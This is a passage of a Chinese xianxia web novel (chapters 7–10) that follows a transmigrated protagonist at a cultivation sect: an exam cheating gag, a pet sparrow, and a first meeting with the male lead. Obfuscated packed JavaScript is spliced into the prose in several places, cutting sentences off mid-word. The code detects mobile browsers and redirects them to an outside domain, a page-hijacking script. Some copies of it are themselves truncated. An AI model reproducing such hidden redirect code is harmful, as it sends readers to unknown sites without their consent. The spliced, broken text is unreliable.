《男主师尊?我蹭蹭蹭!》 7. 第 7 章 白石湖开始装聋作哑不管陆乐水如何花言巧语,闪身来到燕黎舟旁边,手掌一抬笑眯眯就准备给他师弟的这个小崇拜者打招呼。 刚想说什么,手上的白玉扇骨很细微的闪烁了两下。 洛不觉也看见了,扇骨上白石湖三个字正亮着不同于白玉的光泽,两个人不约而同地皱了下眉。 掌门师兄找他们? 白石湖只得叹了口气,手中的扇子晃了晃打开。 “我们要先走一步了,陆乐水明天早上我再找你麻烦。”走之前还不忘威胁一句陆乐水。 燕黎舟看着两个人一闪身全都不见了踪影,转头发现陆乐水正一脸苦瓜地瞪着他,顿了两秒后又木这脸转回去。 “。” 洛不觉和白石湖两个人找到沈齐时他身边还有其他几个师兄弟,几人点头算是打招呼后,沈齐才说起这次找他们的目的。 沈齐:“我这次去寿骆村后续发现了很多事情。” 说着他看了一眼洛不觉。 “寿骆村地处深山狭林,村民们都信奉山神,按照洛师弟所说的,同灯应该就是吸收了村民们对地主的怨念滋生了的灵智成妖。” “村民内想要黄金,想要土地,要富裕起来,对地主什么都不用干坐着收钱的行为产生的强烈怨念导致同灯出现,来帮他们实现愿望。” “不过同灯给寿骆村的人黄金是有条件的,也就是童孩和女人。一开始还好,双方都是你情我愿,寿骆村的人也还算淳朴,愿望开始也都是许一些土地,白银……” 闻言慕容古不满的哼了一声,双手环胸,他身后背着的那把大刀十分抢眼。 他道:“这样的人等他们意识到自己什么愿望都能实现后,看见更好的心里肯定会更加不平衡,拼命许愿补偿自己之前没有的,浪费掉的机会,愿望越来越大,恶性循环。” 沈齐点点头。 “寿骆村的小孩和妇女也是有限的,时间久了,村民就开始打起周边村的主意。” “我们去看过,周围几个村子有好几家女孩来到寿骆村就失去联系,因为是几个女人也没有人在意,村民们只管收钱,也不在意到底是拐还是嫁。” 沈齐想到了什么,补充:“原本被村民们供奉的山也滋生出山神,但由于同灯中途截断了香火,山神神格堕落成妖,一直被同灯打压着,但很震惊的事,他一直保持着一丝神性。” “他没有完全堕妖,一直在隐藏自己,给我们送书信前去除妖。” 看着师弟们点头后,沈齐才说出来这次召集的目的。 “我去了后发现在寿骆村下面有一个地窖,里面关着一些残肢断臂的女人和孩子,还有一些同灯没来的及吃掉的人。” “这件事情涉及到的有点多,官府那边肯定是管不了的,天上白云京马上又要进行考核测验了,其他宗门也一堆谈议会,我走不开,其他长老同样,所以寿骆村的后续事情,你们谁去?” 慕容古率先扭头:“考核测验我要监督,别找我。” 白石湖扇子一甩,挡在自己脸前,只露出一双狐狸似的眼睛,视线在剩下几位师兄弟面前来回转。 “我很忙的。” 肖信然要监督文比,沈齐无奈转头看向洛不觉。 以洛师弟一贯的无所谓态度只要说一下他会同意的,这样想着沈齐松了口气,还好有洛师弟。 谁知洛不觉扭过头,不去看沈齐的脸,慢悠悠地道:“我有事。” 沈齐:“???” “什么事?” 洛不觉执拗,满身满脸都写着“我有事”。 沈齐:“……” 无奈,他转头看向最后一个师弟。 汲子石正打着哈欠,这样的事怎么也轮不到他头上来,眼泪还在眼角挂着,一转眼就和自家掌门师兄对上视线。 他有些懵的左右看了看,然后挤出来一个笑容:“掌门师兄,我一会要……” 沈齐笑眯眯,旁边背着刀的慕容古率先怼他道:“你一会有什么事,睡觉还是撩小姑娘?” 汲子石:“…………” 沈齐:“辛苦汲师弟了。” 汲子石:“……………………” 燕黎舟待在藏书阁里,他看着木案对面坐着的陆乐水,此刻正对着面前的书籍抓耳挠腮。 深深叹了一口气后,他觉得自己心好累。 “你不是都抄了那么多遍吗,背不下来?” 陆乐水闭着眼睛捂住自己的耳朵,嘴巴一张就开始推卸自己的责任:“我已经背下来了,你一吵我全忘了!都怪你!” 燕黎舟:麻木,这样的话他已经听三遍了。 陆乐水在白石湖和洛不觉两人走之后就开始报复性学习,来来回回背,背的燕黎舟手指发麻恨不得文比考核他替陆乐水上。 陆乐水崩溃,额头一遍遍磕着木案。 “你不知道文比有多么恐怖,我师尊监考,抄都抄不了。我这次要是再过不了就会被师尊罚关禁闭。” “那是思过崖,思过崖!我会死的,我真的会死掉的!” 燕黎舟白他一眼:“那你之前考核怎么不努力。” 陆乐水整个人趴在木案上,整个人蔫巴巴的,死死盯着面前的时机,恨不得把上面的字都吃下去。 闻言深深地叹了口气,把自己翻了个面,仰躺在案桌上。 他盯着天花板,眼睛没光:“努力了,然后认清了在我师父眼皮下做小抄行不通……” 像是突然想到什么,陆乐水又把自己翻过来,盯着燕黎舟。 燕黎舟斜了他一眼:“干嘛。” 陆乐水眼睛一眯,嘴角有些压不住笑容,边说边摇头。 “虽然你来的时间短,但你也要考核,怎么样,心里慌死了吧。”他一脸看透一切的表情。 “你叫声好听的,我作为前辈给你讲讲经验。” 燕黎舟随意从桌面上拿了本书翻看着,豪不在意并且回了一个“哦”。 “那你就要失望了,我不是你们宗门里的人,考不到我。” “啊?”陆乐水有点懵,脑袋腾地从案桌上抬起。 “你不是我们宗门的,那你为什么穿着我们的校服。” 燕黎舟斜了一眼自己衣服上的花纹,语气里听不出来情绪:“我没衣服啊。” “再者入乡随俗。” 还不等陆乐水回他,他手撑着案桌起身,手里的书摔在陆乐水面前的桌面上:“我要去吃饭了。” “吃饭?”陆乐水一怔,后又不屑地撇嘴。“哦对,忘了你是个辟谷都不会的小废物。” “没大没小,我是你洛师叔的救命恩人,你该叫我一句前辈!” 陆乐水明显不信,满脸写着“你,救洛师叔”几个字。 燕黎舟轻哼一声,没想到吧,他也没想到。 回到房间,床上被子盖住的那一堆小山似的丹药冒出来个尖。 给自己倒了杯茶,他伸手拿起块糕点往自己嘴巴里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220121|181482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞,脑子里则是思考着怎么才能拿到问神镜。 “咚咚咚。” 有人敲门。 燕黎舟打开门看见门外的洛不觉,头顶缓缓打出一个问号,刚想问找他什么事低头就看见洛不觉手里的东西,眼睛都瞪大了。 洛不觉垂眸视线看向手里打包好的烧鸡。 解释:“宗门里的口味一直清淡……委屈你了,山下买的,不要嫌弃。” 燕黎舟摇头,看着对方将烧鸡放在桌子上迫不及待伸手,一边吃一边心里疯狂夸赞自己,直呼洛不觉这个大腿是抱对了。 洛不觉坐在燕黎舟对面,看着他吃,倒了杯茶放在燕黎舟面前。 他吃的很快,自从穿越过来后就没吃过有滋有味的东西,吃过瘾后抬眼发现洛不觉正盯着他,才放满了些动作,拿起一旁的茶杯喝了口清了清嗓子。 “还有什么事吗洛仙长?” 洛不觉闻言眉头微不可见地蹙起,想着刚才陆乐水来找他告状的场景。 陆乐水:“洛师叔!哪个燕黎舟这人就是个魔鬼!” “您要为弟子做主啊!他拿弟子的炼丹炉考地瓜!” “还拿弟子刚完成的丹药作业喂鸟!弟子明日还要上课,丹药全被燕黎舟那个人霍霍了!” 一秒。 两秒。 …… 燕黎舟始终没等到洛不觉开口,疑惑的歪了下头。 洛不觉起身,面无表情:“无事。” 说完后,转身离开,剩下身后燕黎舟一脸懵。不过他也只当洛不觉是将他在藏书阁的话听进去了,毕竟是救命恩人,看他可怜,给他送个饭。 在经历了半个月的折磨后,陆乐水的噩梦终于到了。 天上白云京考核分两比,文比和武比。 文比自然不用多说,考试内容繁杂且无趣,武比就有意思多了。 他并不不限制参赛的人员,不只是天上白云京的弟子。 对于一些想加入宗门的人来说呢,就相当于是收徒大典的一个名帖,越高位次者自然越引人注目,结合测试天赋如何,收两者皆优者。 肖信然坐在讲座正中央,笑脸盈盈地盯着一众考核的弟子,旁边洛不觉坐的端端正正。 肖信然适时开口∶“燕道友作为宗门贵客,不用拘束。” 燕黎舟点头,他的位置被安排在了洛不觉旁边不远处,他抬头看眼考场内第一排的陆乐水,眼神肯定。 陆乐水也回了一个肯定的眼神,坐着的腰板都挺了挺。 肖信然余光瞥了燕黎舟一眼,然后和旁边的洛不觉笑着八卦。 “听弟子说最近我那孽徒和燕道友经常一起进藏书阁,我那孽徒我知道,看书也看不进去脑子里。燕道友却总是去二楼找你,一下午的时间。” “也难得有个人能忍受得了你的脾性。” 洛不觉装聋作哑,不搭话。 考场都有监考弟子,肖信然也不用一直盯着,毕竟不是所有人都向陆乐水一样不信邪。 ——每次都打小抄。 这次肖信然亲自把陆乐水全身都搜了个遍,没搜到小纸条。 旁边洛不觉收回视线,什么话也没说。 反观当事人手撑在座椅扶手上,可能是被旁边的檀香熏的,又或许是面前的场景太像上学时考试,头晕沉沉的。 忍不住打了个哈欠,耳边突然响起一道很熟悉的声音,紧接着又是响起一阵刺耳的耳鸣声,难受的他忍不住揉了揉耳朵。 8. 第 8 章 那是很厚重的一声“钟”响,让听到的人心底忍不住生起烦闷情绪,天上白云京处在深山十分安静,鲜少有这样聒噪心乱的声音。 燕黎舟的瞌睡被这突然的一声吓跑,脑海里突然想起了之前在寿骆村神庙里听到的钟声。 洛不觉和肖信然站起来,齐齐盯着不远处的天空。 ——汲子石踩着剑,纤细剑柄上坠着一个大号梵钟,此刻正摇摇晃晃往这里飞。 肖信然伸手在考生周围布了个静音屏障,直到汲子石摇晃着飞到他面前后当着这人的面叹了口气。 梵钟落地,汲子石一脚踩上梵钟表面,擦了擦头上莫须有的汗,没皮没脸地笑着和两个师弟打招呼。 “师弟~这一趟真的是累~死我了。这钟有点诡异,不能扔给官府,只能带回来,让几个老家伙看看怎么办。” 他解释了一下,顺手“啪啪”拍了两下钟的表面,说完空着的另一只手摸了下自己的脸。 嘴上嘟囔:“这几日为了寿骆村的事情忙前忙后,都没睡好。” 肖信然垂眸盯着考场,陆乐水和自家师尊对上视线后,猛地又低下头,那点心思不要太明显。 肖信然扬了扬下巴刚想示意监考弟子去看一下,却见原本在他旁边洛不觉已经走了过去,于是转头看着钟有些怀疑问:“你这么快就处理好了?” 汲子石此时整个人都趴在钟上面,闻言懒洋洋地掀起一只眼皮。 “自然处理好了。” 说着他的身影开始慢慢消失,只留下声音在原地回荡。 “这钟交给两位师弟啦,我困了,你们加油。” 他们说话的时候,燕黎舟就在一旁静静地盯着那金黄华丽的梵钟,心里总隐约感觉自己好像落了什么。 “嘘~~” 一声极细的气流声突然打断了燕黎舟的思绪,他转头,陆乐水坐在自己位置上,桌子上的卷子能看出来他已经尽力了。 他嘴巴撅老高,撅成一个“O”状,见对方成功接受到自己的信号后,眼睛疯狂在自己卷子上和燕黎舟身上来回打量。 燕黎舟反应过来,正襟危坐,眼睛飞快地瞥了眼陆乐水的考卷—— 空着的题目不多,所以空白的部分很显眼。卷纸离他有点远,他只能连瞥带猜。 “空心林滋养尸体的途径。” …………………… 燕黎舟余光斜了眼洛不觉三个人的方向,然后又看了看巡考弟子的位置,最后一排,像是现代监控一样死死锁定每个学生的背影。 他装模作样,从自己袖子里拿出来张白纸,背对着洛不觉三人,毛笔蘸墨,笔尖在纸上飞快划拉。 写完后,再极其自然地将纸揉搓了几下,塞进袖子里。燕黎舟抬头看了眼监考弟子,索性没人注意他这个客人会做什么。 考场的陆乐水见状眼睛一亮,下意识看向自家师尊的方向。 这一看不要紧,他看见自家师叔的视线一直盯着燕黎舟的背影,看不出情绪。 陆乐水心里大叫不好,吓得猛吸一口气,赶紧朝着燕黎舟挤眉弄眼,后者只以为这人是等急了,投过去一个明白加放心的眼神。 随后他挺直了腰板,起身,仿佛只是要去趟茅房般自然地向考场外走,经过陆乐水时,身子是蹭着课桌过去的,袖子里的纸顺势塞给陆乐水。 燕黎舟像是那巡山的大王,和陆乐水的眼神对了一下,后者扯了下嘴角,只是有些僵硬,走了一圈后才又重新坐回自己的位置。 陆乐水心虚地低下头,已经预感到自己死了的场景。洛师叔不出所料下一秒出现在他身边,纤细的手指将陆乐水刚拿到手的纸团揪出来。 陆乐水:“……” 周围的空气仿佛都凝固住了,他僵硬转头看向燕黎舟,这人脸上写着“我只是路过”五个字,扭头看着别处。 认命等师叔打开纸团宣判,下一秒陆乐水就看见洛师叔眉头狠狠地蹙了一下,然后纸张又被他重新揉回去,在路过燕黎舟的时候扔回给他的主人。 后者接住纸团,极其无辜、乖巧地朝洛不觉讨笑。陆乐水还处于师叔居然没说他的疑惑中。 接下来倒是安安稳稳的,谁也没出什么幺蛾子。 一结束,肖信然和洛不觉就要准备离开现场,临走时,洛不觉脚步微顿,再次看向燕黎舟的方向,那眼神,复杂地像是一团浓墨。 偏偏燕黎舟脸皮厚如城墙,迎着目光,无声地做了个口型:“一会你还去藏书阁吗?” 要是不去的话他就去了,这几天天天去藏书阁,每次都能遇见洛不觉,结果就是两人面对面,安静坐了一个又一个下午。 洛不觉仿佛没看见他的唇语,也可能是看见了觉得辣眼睛,干脆利落地转身。 “洛师叔居然没把你就地正法,更没让你滚出考场?”同场有弟子凑到陆乐水旁边低声惊呼,一脸不可思议。 陆乐水磨了磨后槽牙,视线看向燕黎舟桌子上的纸团。 伸手拿过来,纸团到手里的时候,陆乐水突然脑子灵光了一下,手上动作顿住。 他好像知道为什么了。 旁边人盯着他的动作,见他突然停下来疑惑地盯着陆乐水,眼神询问咋了。 陆乐水把纸团一扔,看向燕黎舟,后者乐乐呵呵的,措不及防对上前者“苦大仇深”又“恍然大悟”的复杂视线。 燕黎舟无辜:“咋了。” 这时候禇吴山看热闹不嫌事大,手比脑子快,一把拿过纸团,兴冲冲地就打开了:“……这啥?” 这一嗓子,瞬间把周围还没走完的几个弟子的注意力全吸引过来。然后齐刷刷的,所有人的眉头都拧起来。 只见禇吴山手里,那张揉搓得不成样子的宣纸上,是一串狗都不认识的字,连在一起的,像是醉酒后拿着扫帚沾墨乱甩出来的。 别说辨认内容了,连这到底是不是目前仙门百家已知记录在体的文字体系都值得怀疑。 有人称奇,连连摇头感叹:“怪不得洛师叔没罚乐水,这字就算看到了也不一定能看懂。燕前辈,你写的啥?” 后面那句是问的燕黎舟,只是语气中带了点迟疑。 “我也不知道,你加油。” “……” 众人听见燕黎舟的话纷纷愣了一下,两秒后反应过来他这是在说纸上的字。 陆乐水瞪大眼睛:“你就给我写了这个?” 考前他想着之前他辛苦培育的三个果子被燕黎舟摘了,要求他帮忙给自己递答案。 燕黎舟还十分干脆地答应了他的合作,结果居然就只给了他这么一句话,还让他提心吊胆了一场考试。 当事人点头,并且理直气壮:“我确实不知道。” 陆乐水瞪大眼睛:“你不是洛师叔的的朋友吗,对这些基本常识你不知道?” “你知道你怎么不写?” “你,我……” 只能说幸亏是在考后打开的,要是再考场上打开,陆乐水看到这样一副狗刨字,怕是真的会提着剑就要找燕黎舟的麻烦。 几场文比下来,陆乐水整个人就像是被人抽了精气神一样。 在天还没亮透的这个时候,天上白云京所在之处,山间的雾气满宗门的跑,把整个宗门弄的湿漉漉的。 几滴水珠自瓦片边缘缓慢滑落,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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搞得燕黎舟看见洛不觉也乖乖的。 他看着讲台上的身影,突然想到什么失笑,从兜里摸出来一块包的完整的糕点,碾碎,糕点渣黏在手指上,被他随意擦在旁边的植物叶子上。 一边擦一边念叨:“谢谢,谢谢。” 叶片收缩,糖饼蹦蹦地挪过去,燕黎舟没擦干净的碎屑又被藏在羽毛里。 燕黎舟伸手拍了拍圆滚的身子:“什么都要。” “啾啾啾~” 他指了指讲台上的身影,糕点掰下来一小块放在糖饼的头上顶着,小声密谋。 “看见没,那是咱俩金主,你作为一个金丝雀得在他面前多刷刷存在感,要不然我去哪找那么多种子,难不成你要看着我天不亮去给你抓虫子吗。” “记住没。” 糖饼似是听懂了,小圆脑袋重重点了下,头上顶着的糕点顺势要掉下来,被燕黎舟一指头怼回去。 娇小的圆滚身子扑闪着翅膀,头顶着糕块摇摇晃晃穿过窗棱朝着洛不觉的方向飞过去。 房间里弟子们全部捧着书读,丝毫没注意到自己头顶飞进来一只小雀。 洛不觉抬眼看着那只蓝紫色绒球,眉头蹙了蹙还没开口,糖饼头上顶着的糕点啪嗒地掉在地上。 “……” 随即就见这只绒球没有丝毫犹豫转身朝窗外的人飞过去,一头扎进燕黎舟身上,翅膀张开抱着那人的脖子。 “啾~” “……” 燕黎舟憋不住笑,两根手指把糖饼揪下来,毫无人性又扯了块糕点,一边放在糖饼头上一边笑着哄:“没事没事。” 他把手里一堆没咋动的糕点在小雀面前晃了晃:“还有好多呢。” 9. 第 9 章 糖饼顶着糕点再次摇摇晃晃朝他飞过来,燕黎舟在窗棂后面手舞足蹈,洛不觉顿了一下,按照意思低下头不去看某只绒球。 他手里的书翻了两页了,余光里那只蓝紫绒球才迟迟出现,细小的爪子在书案上缓慢挪动。 洛不觉依旧盯着手里的书,又翻了一页,那只蓝紫绒球终于凑到他手边,小小的喙轻轻点了点他的手。 “啾~” 很小的一声,淹没在读书声里。 洛不觉抬眼看了某人一眼,被他指挥着将封印着糖饼的那块糕点拿开,小雀立马欢快地蹦哒了两下,身上沾到的糕点也簌簌落在讲台桌上。 见状拿出手帕把小雀擦干净,整齐的毛被洛不觉揉的炸开。 燕黎舟见状,大开大合的手脚端正站好。 这个视角看,洛不觉绝大部分面容此刻都暗下来藏在阴影里,只能看清一个线条冷硬的下颌轮廓,以及抿成一条直线的薄唇,眼睛低垂着,目光落在手里的糖饼身上。 不知怎的,燕黎舟忽的脑海里浮现第一次看见洛不觉时,那双眼睛逐渐清晰。 咚——咚—— 周围空旷,晨读结束的钟声一声回荡着一声,震得燕黎舟回神。 晨读结束了,他也不用再窗户外面待着,转了个弯从正门进去。 陆乐水正收拾着呢,抬头看见人刚想招呼一声,就见这人停在讲台旁不动了。 糖饼乖巧一团待在洛不觉掌心里,瞅见燕黎舟又“啾”了一声,束缚的力道松小,扑哧着紫色翅膀朝燕黎舟肩膀上飞,蹦哒两下给自己找个舒服位置。 “它有名字吗?” “糖饼。” 燕黎舟往糖饼小小的喙里又塞了颗种子,闻言他伸手把肩膀上的小雀握在手心,两只手大拇指摁着蓝紫绒球的脑袋,轻轻用力往下压。 圆润的身子被压成一摊。 “糖,饼。”燕黎舟生动形象地展示了一下,盯着洛不觉一字一句笑着道。 “啾啾~” 陆乐水手里捏来了颗种子,在小雀旁边左摇右晃,糖饼歪着脑袋就是不张嘴。 他拿着种子轻轻敲了下糖饼的喙:“啧。” 燕黎舟在旁边落井下石:“女明星,都比较高冷,不想理你。” 陆乐水当明星是糖饼小名,反驳:“他是公的。” 旁边司徒沃正擦剑呢,突然抬头:“燕前辈,您和洛师叔认识多久了啊。” 燕黎舟想了想。 “四五年了吧。”四五年前看的小说,说是认识也不错。 “说起来今早不是肖长老的课吗?怎么是你们洛师叔在?” 旁边有弟子插话:“肖师叔去十二楼兰参加谈议会了,和掌门一起,所以洛师叔就替上了。” “原本这次谈议会应该是在倒影浮屠开的,可是倒影浮屠被烧了,所以改在离宗门有点远的十二楼兰了,慕容师叔也去了,武比只能往后推了。” 燕黎舟点头,他伸手嘬了两下,糖饼就蹦着过来,和方才面对陆乐水的高冷模样截然不同。 陆乐水一见就知道燕黎舟要跑,伸手拉住袖子。 “下节课你不来热闹一下?” 燕黎舟摇了摇头,拒绝的话还没说出来,陆乐水紧接着:“洛师叔的课。” 话到嘴边又囫囵了一圈,燕黎舟:“去。” 春梧谷,云阶田。 空气中是浓郁到化不开的草木灵气,湿润,厚重,对如今只是一颗草的燕黎舟而言,这地方不要太舒服。 洛不觉周围坐着一圈前来听课的弟子,声音不高,却清晰传入每个人的耳中,没有开场白,没有寒暄,如冰如玉,不带丝毫情绪。 这是燕黎舟第一次听洛不觉讲课,但只是听了一会儿,整个人又开始坐在蒲团上盯着人发呆,肩膀上糖饼也不啾了,蹲在燕黎舟身边啄土里的虫子。 燕黎舟手指头戳了两下鸟屁股,把小东西推远一点。 课进行到一半,洛不觉就把学生往药圃里带,不是啥珍贵草药,但全都长得奇特。 弟子们根据方才课上所讲的内容,在药圃里热火朝天地辨认特征,寻找不同的草药。 燕黎舟也混在里面。 他看着洛不觉脚边到膝盖的植物,随意伸手指着问:“洛仙长,这也是草药吗?” 洛不觉低头看了一眼,手指指着的植物叶子趴在地上,叶片肥厚,伸出来长长的茎,四片淡蓝色花瓣像是兔耳般耷拉着,花蕊是毛茸茸的金球。 “鬼面花。” “这么漂亮的花怎么叫这么一个名字?”燕黎舟听完嘀咕了一句,手指一转又指一个。 “这个呢?” 这是颗小蘑菇,一株双头,一头是纯白的伞盖,另一头是墨绿的瘤状。旁边圆滚滚的草团紧贴着地面生长,活像是一个个被随手丢弃的毛线球。 “双生菇和地蒲。” 燕黎舟视线在周围四处搜寻,忽的眼睛一亮,跑过去像是找到了什么宝藏,弯着腰就指:“这个呢洛仙长,这个是什么草药?” 他指着的正是一棵长着和自己一样的植物。 洛不觉顿了顿,视线抬起来盯着人,没说话,离他不远的陆乐水瞅了一眼。 “杂草。” 燕黎舟:“……” “这是杂草。”陆乐水以为他没听清,又说了一遍。 燕黎舟:“……” 他转身面无表情招呼糖饼:“走了,又吃你那老破虫子!” 另一边司徒沃不明所以:“燕前辈怎么生气了?” 陆乐水耸肩。 洛不觉盯着地上方才燕黎舟指着的“杂草”,半响抬头。 “你找全了?”他问陆乐水。 “。” “新鲜大肉包新鲜大肉包,刚出炉的,好吃的嘞!三文一个嗷三文一个!” “豆腐脑,油条。豆腐脑,油条,豆浆……” 燕黎舟从春梧谷离开,跟着宗门杂役弟子一块来到小镇上,这儿离天上白云京有点远,他只能如此蹭个马车。 和弟子们告别后,他搁街上随意走着,经过一个算命摊,一只羽毛油亮的学舌八哥在笼子里蹦哒,突然字正腔圆地吼出一句:“施主!你印堂发黑,恐有血光之灾——” 吓得摊主手忙脚乱去捂笼子。 燕黎舟挑眉,他穿着的衣服上还纹着天上白云京的祥云校徽,任谁也不会想不通来诓骗他。 天上白云京总归不如山下自在,也不热闹,这几天憋死他了。 突然,鼎沸人声与沸腾热气里爆发出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你只是要钱罢了,干嘛动手动脚,人要是被你伤着了,你这一地的包子够赔吗?” 摊主被这气势唬地一窒,随即火气更大:“嚯,来了个撑腰的?这小东西砸了老子的包子,你是他朋友?赔钱!” 宋湖目光扫过地上狼藉的包子和歪倒的蒸笼,牙关明显咬紧了一下。 “多少钱,我赔给你。” 燕黎舟听到谢灯这个名字的时候,手就在身上摸了半天,浑身上下也只有几颗留给糖饼吃的种子和天上白云京的通行令牌。 “……啧。”现在是他想帮忙也有心无力。 宋湖一把扯下腰上的荷包,扔在油腻腻的摊桌上,趁着包子摊摊主骂骂咧咧低头数钱的功夫,他这才有空把谢灯从上到下打量了遍,眉头拧成一个疙瘩。 “怎么弄成这样了,他打你了?” 摊主数完钱,把空了大半的荷包又扔回给宋湖,一听这话又要急,脸红脖子粗地伸手指着周围一圈人。 “胡说什么!这大伙儿可都看着呢,我没怎么他啊,这人原本就这副打扮,我就揪了他一下。” 说完拿着自己的钱又嘀咕:“穿的人模人样的,带个泥坑里滚出来的瘦鸡崽子。” 这件事情的当事人轻轻摇头,手搭在宋湖胳膊上,示意不用担心。他视线在人群里扫了一圈,唇瓣抿得死紧。 看着本书的男主就站在他面前,像个刚被母鸡从黄鼠狼手里抢回来的小鸡崽。 燕黎舟想着自己要不要说些什么,在男主面前刷一下存在感的时候,谢灯突然穿过人群走到他面前。 10. 第 10 章 人群自动分开一条小路,所有人的目光都跟随着谢灯移动,最终在燕黎舟面前一步之遥站定。 “你是天上白云京的弟子?” 说着谢灯毫无预兆的伸出那双沾着灰土,指节却意外修长的手,一把抓住燕黎舟握着通行令牌的那只手腕,有些粗糙地指尖压手里的那片皮肤上。 燕黎舟有些震惊,下意识想把手抽回来,却发现男主力气大的吓人。 震惊之余,内心忍不住吐槽:这男主怎么回事,原著中不是热血少年吗,怎么感觉带点流氓属性?! “谢灯!” 宋湖从震惊中回神,一个箭步冲过来,试图拉开谢灯的手,“放开!你抓人家干什么?快松开!” 他急得额头冒汗,看向燕黎舟的眼神充满了歉意以及一丝不解,谢灯今天也太反常了。 谢灯对宋湖的拉扯置若未闻,他的目光死死锁定在燕黎舟的手腕……或者说,是那块属于天上白云京的通行令牌上。 那专注的神情,燕黎舟被他看得一阵恶寒。 最后,谢灯还是松开了燕黎舟的手:“我想要这个。” 他的语气平淡地像是在陈述“今天天气不错”。 旁边宋湖闻言直接石化了。 “咳。”强压下内心的惊涛骇浪,宋湖在谢灯耳边小声道:“这是人家天上白衣京的通行令牌,怎么可能会给你。” 然后又对着燕黎舟挤出一个尴尬的笑容,连连拱手:“这位道友,对不起对不起,我兄弟他从小就崇拜修仙,特别想进天上白云京,所以可能有些失态,对不住对不住。” 他帮忙圆道。 燕黎舟摇头示意没事,随后视线在谢灯上下疑惑打量。 这个谢灯怎么感觉和原著男主性格不太一样。 他想着要不要趁机带着谢灯去洛不觉面前刷一下脸,反正这师徒俩以后也要磨合,他从中间做个顺水人情。 但这个想法在燕黎舟脑子里只存在了一秒就被他否决了,万一就因为这件事引发了什么蝴蝶效应呢。 也就是这个时候,燕黎舟周围突然飞过来一只纸折的千纸鹤。 “燕前辈,您逛的怎么样?” “嗯,差不多了。”燕黎舟伸手捏住千纸鹤,听另一端传过来的声音道,他余光瞥了一眼身边站着的主角,还是决定按照不去干扰,反正都已经抱了洛不觉这条大腿了,男主只是时间问题。 “我去找你。” “我来找你。” 燕黎舟的话和千纸鹤里传出来的话重合,谢灯在听见声音的时候抬了下头,但很快又低下去,用鞋尖碾着地面。 宋湖也自觉闭上嘴不插话。 燕黎舟听见和第一道全然不同的声音愣了一下,“你怎么,下课了?” 陆乐水切了声,想着那群还在找东西的同门,踢了一下脚边的植物:“没有,我逃课了。” 他瞥见自己旁边的司徒沃和出去采买的弟子,后者有些尴尬地看着自己的千纸鹤,额头冒汗。 燕黎舟表情有些戏谑:“你洛师叔的课也逃?” 对方哼了声,“白师叔来了,洛师叔似乎是有事,先走了,我和司徒就趁机逃了。” “刚走到这里,听见弟子喊燕前辈,一猜就是你。” “司徒也逃了啊。”燕黎舟意料之外,“你这要是被发现了,又要闭关藏书阁喽。” “这你别管。” 陆乐水抿了下唇,想着这几天自己没少往洛师叔那里,逮着机会就告燕黎舟的状,还把自己闯的祸一股脑儿全扣在燕黎舟头上,内心忍不住发虚。 洛师叔虽然可怕,但每次他都能轻易揭过去。 燕黎舟丝毫不知道自己被迫背了好几口黑锅,他看着面前的宋湖和谢灯,想了想,对着纸鹤道:“那你来找我吧,带点钱,我饿了。” 然后也不等陆乐水回答,手指一松,那纸鹤失去了依托,晃悠悠地跟在燕黎舟身边,左右摇晃陆乐水后面的声音也传不出去。 他最后瞥了一眼沉默的谢灯,笑着挥手和两人道别:“我还有事,先走了。” 宋湖点了点头,旁边谢灯依旧一言不发。 燕黎舟转身,步履如常地离开,身边的纸鹤轻轻晃动,跟在他的身后。 宋湖和谢灯站在原地,目送着他的背影。 等待一个拐弯后看不见人影了,宋湖转头一只手揽住谢灯的肩膀,后者整个人都被他扯的踉跄了一下。 他信心满满地拍了拍谢灯的背:“等着吧,咱俩肯定也能进天上白云京,到时候那个通行令牌我们也会有的。” 燕黎舟又拐了个弯,刚走出不过十来步,身形猛地一晃,像是被无形的重锤打了一下。 他踉跄了一下,伸手想要去扶住旁边的墙壁,但指尖却只堪堪擦过冰冷的砖石,整个人如同断了线的木偶,毫无预兆地向前栽倒。 …… “燕前辈醒了,弟子这就去请药老先生过来。” 感觉到手腕上的压感消失,燕黎舟转头看过去。陆乐水和司徒沃站在药老身后,陆乐水原本有些担忧的眼神在对上视线后迅速撇开。 旁边司徒沃担忧地向前一步:“药老前辈,燕前辈没事吧。” 药老瞥了床上的人一眼,后者被这一眼看得莫名心虚。 “我给你开的药你没吃吧。” “?”燕黎舟疑惑:“那真的要吃啊,不吃不行吗?” 话音一出,房间里的人都沉默了。 燕黎舟后知后觉反应过来,开始为自己找补,一直没说话的陆乐水没忍住。 “药都给你了你说吃不吃,你是神仙还是妖怪,拿来给你和泥巴玩的啊!” 那包药燕黎舟就拿到手的那天吃了一包,谁能想到不吃真的会死人啊。 在没穿越之前他平时感冒发烧都不吃要,实在撑不住了宁愿去医院打针也不吃。没想到这次居然就栽了。 药老重新把药配好,这次数量比上次多了一倍不止,交到燕黎舟手里的时候,小老头笑眯眯警告。 “这次在不吃,下次你就不是晕倒了,到时候胳膊腿没动静了,可别来找老夫。” 燕黎舟连连点头,接药的时候那神情像是要把药供起来。 这天他刚喝完药,躺在床上一副死了没埋的样子。 陆乐水下课过来,顺手一个苹果扔过来:“压压。” 啃了一口感觉嘴里的味道淡了一点。 陆乐水在一旁撑着下巴看他,手里也同样拿着个苹果,问:“你这药都喝了一个多月了,什么时候能好,药老说了吗?” 燕黎舟摇头,日日喝那要命的药汤,他都想要把自己舌头拔了。 这样想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 